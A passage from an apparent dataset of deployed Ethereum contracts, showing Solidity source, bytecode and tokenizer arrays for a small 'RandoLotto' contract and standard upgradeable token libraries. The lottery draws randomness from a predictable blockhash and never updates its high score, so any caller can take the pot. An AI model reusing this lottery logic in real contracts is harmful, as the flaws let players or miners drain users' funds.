26573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c000000000000000000000000000000000000000000000000000060648201526084016101a2565b843b610d705760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016101a2565b600080866001600160a01b03168587604051610d8c9190611055565b60006040518083038185875af1925050503d8060008114610dc9576040519150601f19603f3d011682016040523d82523d6000602084013e610dce565b606091505b5091509150610dde828286610de9565b979650505050505050565b60608315610df8575081610ca3565b825115610e085782518084602001fd5b8160405162461bcd60e51b81526004016101a29190611071565b8035610e2d816111c0565b919050565b600082601f830112610e4357600080fd5b8135602067ffffffffffffffff80831115610e6057610e606111aa565b8260051b604051601f19603f83011681018181108482111715610e8557610e856111aa565b60405284815283810192508684018288018501891015610ea457600080fd5b600092505b85831015610ece57610eba81610e22565b845292840192600192909201918401610ea9565b50979650505050505050565b600060208284031215610eec57600080fd5b8135610ca3816111c0565b600080600060408486031215610f0c57600080fd5b8335610f17816111c0565b9250602084013567ffffffffffffffff80821115610f3457600080fd5b818601915086601f830112610f4857600080fd5b813581811115610f5757600080fd5b8760208260051b8501011115610f6c57600080fd5b6020830194508093505050509250925092565b600060208284031215610f9157600080fd5b813567ffffffffffffffff811115610fa857600080fd5b610fb484828501610e32565b949350505050565b60008060408385031215610fcf57600080fd5b823567ffffffffffffffff811115610fe657600080fd5b610ff285828601610e32565b95602094909401359450505050565b60006020828403121561101357600080fd5b81518015158114610ca357600080fd5b60006020828403121561103557600080fd5b5035919050565b60006020828403121561104e57600080fd5b5051919050565b60008251611067818460208701611114565b9190910192915050565b6020815260008251806020840152611090816040850160208701611114565b601f01601f19169190910160400192915050565b600082198211156110b7576110b761117e565b500190565b6000826110d957634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156110f8576110f861117e565b500290565b60008282101561110f5761110f61117e565b500390565b60005b8381101561112f578181015183820152602001611117565b8381111561057b5750506000910152565b600062ffffff808316818114156111595761115961117e565b6001019392505050565b60006000198214156111775761117761117e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146111d557600080fd5b5056fea164736f6c6343000806000a | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
27009,
2581,
2581,
2546,
2683,
2575,
2546,
2581,
2620,
8586,
22025,
2683,
16048,
2497,
27009,
28311,
2692,
14142,
22025,
2581,
2094,
2620,
22932,
2063,
2620,
20842,
7875,
2509,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1022,
1012,
1018,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
21183,
12146,
1013,
3647,
2121,
2278,
11387,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
19706,
1013,
29464,
11890,
11387,
8022,
3085,
1012,
14017,
1000,
1025,
3206,
5950,
11263,
4859,
1063,
2478,
3647,
2121,
2278,
11387,
2005,
29464,
11890,
11387,
8022,
3085,
1025,
4769,
2797,
5377,
4405,
1035,
4769,
1027,
1014,
2595,
24434,
2278,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,522 | 0x954791f9a0f0ff7841cffea32c556ac71168eff8 | pragma solidity 0.4.23;
// Random lottery
// Smart contracts can't bet
// Pay 0.001 to get a random number
// If your random number is the highest so far you're in the lead
// If no one beats you in 1 day you can claim your winnnings - the entire balance.
contract RandoLotto {
uint256 PrizePool;
uint256 highScore;
address currentWinner;
uint256 lastTimestamp;
constructor () public {
highScore = 0;
currentWinner = msg.sender;
lastTimestamp = now;
}
function () public payable {
require(msg.sender == tx.origin);
require(msg.value >= 0.001 ether);
uint256 randomNumber = uint256(keccak256(blockhash(block.number - 1)));
if (randomNumber > highScore) {
currentWinner = msg.sender;
lastTimestamp = now;
}
}
function claimWinnings() public {
require(now > lastTimestamp + 1 days);
require(msg.sender == currentWinner);
msg.sender.transfer(address(this).balance);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0x608060405260043610610041576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063b401faf114610111575b60003273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561007d57600080fd5b66038d7ea4c68000341015151561009357600080fd5b6001430340604051808260001916600019168152602001915050604051809103902060019004905060015481111561010e5733600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003819055505b50005b34801561011d57600080fd5b50610126610128565b005b62015180600354014211151561013d57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561019957600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156101f6573d6000803e3d6000fd5b505600a165627a7a72305820299f25eb4b3874f8078ef86413ffcfa8ef80d2732cdc12389f2606dd4a79c6680029 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
27009,
2581,
2683,
2487,
2546,
2683,
2050,
2692,
2546,
2692,
4246,
2581,
2620,
23632,
2278,
16020,
2050,
16703,
2278,
24087,
2575,
6305,
2581,
14526,
2575,
2620,
12879,
2546,
2620,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1018,
1012,
2603,
1025,
1013,
1013,
6721,
15213,
1013,
1013,
6047,
8311,
2064,
1005,
1056,
6655,
1013,
1013,
3477,
1014,
1012,
25604,
2000,
2131,
1037,
6721,
2193,
1013,
1013,
2065,
2115,
6721,
2193,
2003,
1996,
3284,
2061,
2521,
2017,
1005,
2128,
1999,
1996,
2599,
1013,
1013,
2065,
2053,
2028,
10299,
2017,
1999,
1015,
2154,
2017,
2064,
4366,
2115,
2663,
23500,
3070,
2015,
1011,
1996,
2972,
5703,
1012,
3206,
14566,
12898,
9284,
1063,
21318,
3372,
17788,
2575,
3396,
16869,
1025,
21318,
3372,
17788,
2575,
26836,
17345,
1025,
4769,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,523 | 0x9547f024fF2253A21c681A51fcff319011fD841C | // SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./BeforeAwardListenerInterface.sol";
import "./Constants.sol";
import "./BeforeAwardListenerLibrary.sol";
abstract contract BeforeAwardListener is BeforeAwardListenerInterface {
function supportsInterface(bytes4 interfaceId) external override view returns (bool) {
return (
interfaceId == Constants.ERC165_INTERFACE_ID_ERC165 ||
interfaceId == BeforeAwardListenerLibrary.ERC165_INTERFACE_ID_BEFORE_AWARD_LISTENER
);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./IERC165Upgradeable.sol";
interface BeforeAwardListenerInterface is IERC165Upgradeable {
function beforePrizePoolAwarded(uint256 randomNumber, uint256 prizePeriodStartedAt) external;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
library BeforeAwardListenerLibrary {
bytes4 public constant ERC165_INTERFACE_ID_BEFORE_AWARD_LISTENER = 0x4cdf9c3e;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./IERC1820RegistryUpgradeable.sol";
library Constants {
IERC1820RegistryUpgradeable public constant REGISTRY = IERC1820RegistryUpgradeable(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
bytes32 public constant TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
bytes32 public constant TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
bytes32 public constant ACCEPT_MAGIC =
0xa2ef4600d742022d532d4747cb3547474667d6f13804902513b2ec01c848f4b4;
bytes4 public constant ERC165_INTERFACE_ID_ERC165 = 0x01ffc9a7;
bytes4 public constant ERC165_INTERFACE_ID_ERC721 = 0x80ac58cd;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./ERC20PermitUpgradeable.sol";
import "./TokenControllerInterface.sol";
import "./ControlledTokenInterface.sol";
contract ControlledToken is ERC20PermitUpgradeable, ControlledTokenInterface {
TokenControllerInterface public override controller;
function initialize(
string memory _name,
string memory _symbol,
uint8 _decimals,
TokenControllerInterface _controller
)
public
virtual
initializer
{
__ERC20_init(_name, _symbol);
__ERC20Permit_init("ArchiPrize ControlledToken");
controller = _controller;
_setupDecimals(_decimals);
}
function controllerMint(address _user, uint256 _amount) external virtual override onlyController {
_mint(_user, _amount);
}
function controllerBurn(address _user, uint256 _amount) external virtual override onlyController {
_burn(_user, _amount);
}
function controllerBurnFrom(address _operator, address _user, uint256 _amount) external virtual override onlyController {
if (_operator != _user) {
uint256 decreasedAllowance = allowance(_user, _operator).sub(_amount, "CONTROLLEDTOKEN:EXCEEDS_ALLOWANCE");
_approve(_user, _operator, decreasedAllowance);
}
_burn(_user, _amount);
}
modifier onlyController {
require(_msgSender() == address(controller), "CONTROLLEDTOKEN:ONLY_CONTROLLER");
_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
controller.beforeTokenTransfer(from, to, amount);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./IERC20Upgradeable.sol";
import "./TokenControllerInterface.sol";
interface ControlledTokenInterface is IERC20Upgradeable {
function controller() external view returns (TokenControllerInterface);
function controllerMint(address _user, uint256 _amount) external;
function controllerBurn(address _user, uint256 _amount) external;
function controllerBurnFrom(address _operator, address _user, uint256 _amount) external;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./SafeMathUpgradeable.sol";
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library CountersUpgradeable {
using SafeMathUpgradeable for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSAUpgradeable {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n Γ· 2 + 1, and for v in (282): v β {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./Initializable.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712Upgradeable is Initializable {
/* solhint-disable var-name-mixedcase */
bytes32 private _HASHED_NAME;
bytes32 private _HASHED_VERSION;
bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
function __EIP712_init(string memory name, string memory version) internal initializer {
__EIP712_init_unchained(name, version);
}
function __EIP712_init_unchained(string memory name, string memory version) internal initializer {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash());
}
function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) {
return keccak256(
abi.encode(
typeHash,
name,
version,
_getChainId(),
address(this)
)
);
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash));
}
function _getChainId() private view returns (uint256 chainId) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
// solhint-disable-next-line no-inline-assembly
assembly {
chainId := chainid()
}
}
/**
* @dev The hash of the name parameter for the EIP712 domain.
*
* NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs
* are a concern.
*/
function _EIP712NameHash() internal virtual view returns (bytes32) {
return _HASHED_NAME;
}
/**
* @dev The hash of the version parameter for the EIP712 domain.
*
* NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs
* are a concern.
*/
function _EIP712VersionHash() internal virtual view returns (bytes32) {
return _HASHED_VERSION;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
/**
* @dev Library used to query support of an interface declared via {IERC165}.
*
* Note that these functions return the actual result of the query: they do not
* `revert` if an interface is not supported. It is up to the caller to decide
* what to do in these cases.
*/
library ERC165CheckerUpgradeable {
// As per the EIP-165 spec, no interface should ever match 0xffffffff
bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Returns true if `account` supports the {IERC165} interface,
*/
function supportsERC165(address account) internal view returns (bool) {
// Any contract that implements ERC165 must explicitly indicate support of
// InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid
return _supportsERC165Interface(account, _INTERFACE_ID_ERC165) &&
!_supportsERC165Interface(account, _INTERFACE_ID_INVALID);
}
/**
* @dev Returns true if `account` supports the interface defined by
* `interfaceId`. Support for {IERC165} itself is queried automatically.
*
* See {IERC165-supportsInterface}.
*/
function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {
// query support of both ERC165 as per the spec and support of _interfaceId
return supportsERC165(account) &&
_supportsERC165Interface(account, interfaceId);
}
/**
* @dev Returns a boolean array where each value corresponds to the
* interfaces passed in and whether they're supported or not. This allows
* you to batch check interfaces for a contract where your expectation
* is that some interfaces may not be supported.
*
* See {IERC165-supportsInterface}.
*
* _Available since v3.4._
*/
function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool[] memory) {
// an array of booleans corresponding to interfaceIds and whether they're supported or not
bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length);
// query support of ERC165 itself
if (supportsERC165(account)) {
// query support of each interface in interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]);
}
}
return interfaceIdsSupported;
}
/**
* @dev Returns true if `account` supports all the interfaces defined in
* `interfaceIds`. Support for {IERC165} itself is queried automatically.
*
* Batch-querying can lead to gas savings by skipping repeated checks for
* {IERC165} support.
*
* See {IERC165-supportsInterface}.
*/
function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {
// query support of ERC165 itself
if (!supportsERC165(account)) {
return false;
}
// query support of each interface in _interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
// all interfaces supported
return true;
}
/**
* @notice Query if a contract implements an interface, does not check ERC165 support
* @param account The address of the contract to query for support of an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @return true if the contract at account indicates support of the interface with
* identifier interfaceId, false otherwise
* @dev Assumes that account contains a contract that supports ERC165, otherwise
* the behavior of this method is undefined. This precondition can be checked
* with {supportsERC165}.
* Interface identification is specified in ERC-165.
*/
function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {
// success determines whether the staticcall succeeded and result determines
// whether the contract at account indicates support of _interfaceId
(bool success, bool result) = _callERC165SupportsInterface(account, interfaceId);
return (success && result);
}
/**
* @notice Calls the function with selector 0x01ffc9a7 (ERC165) and suppresses throw
* @param account The address of the contract to query for support of an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @return success true if the STATICCALL succeeded, false otherwise
* @return result true if the STATICCALL succeeded and the contract at account
* indicates support of the interface with identifier interfaceId, false otherwise
*/
function _callERC165SupportsInterface(address account, bytes4 interfaceId)
private
view
returns (bool, bool)
{
bytes memory encodedParams = abi.encodeWithSelector(_INTERFACE_ID_ERC165, interfaceId);
(bool success, bytes memory result) = account.staticcall{ gas: 30000 }(encodedParams);
if (result.length < 32) return (false, false);
return (success, abi.decode(result, (bool)));
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./ERC20Upgradeable.sol";
import "./IERC20PermitUpgradeable.sol";
import "./ECDSAUpgradeable.sol";
import "./CountersUpgradeable.sol";
import "./EIP712Upgradeable.sol";
import "./Initializable.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20PermitUpgradeable is Initializable, ERC20Upgradeable, IERC20PermitUpgradeable, EIP712Upgradeable {
using CountersUpgradeable for CountersUpgradeable.Counter;
mapping (address => CountersUpgradeable.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private _PERMIT_TYPEHASH;
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
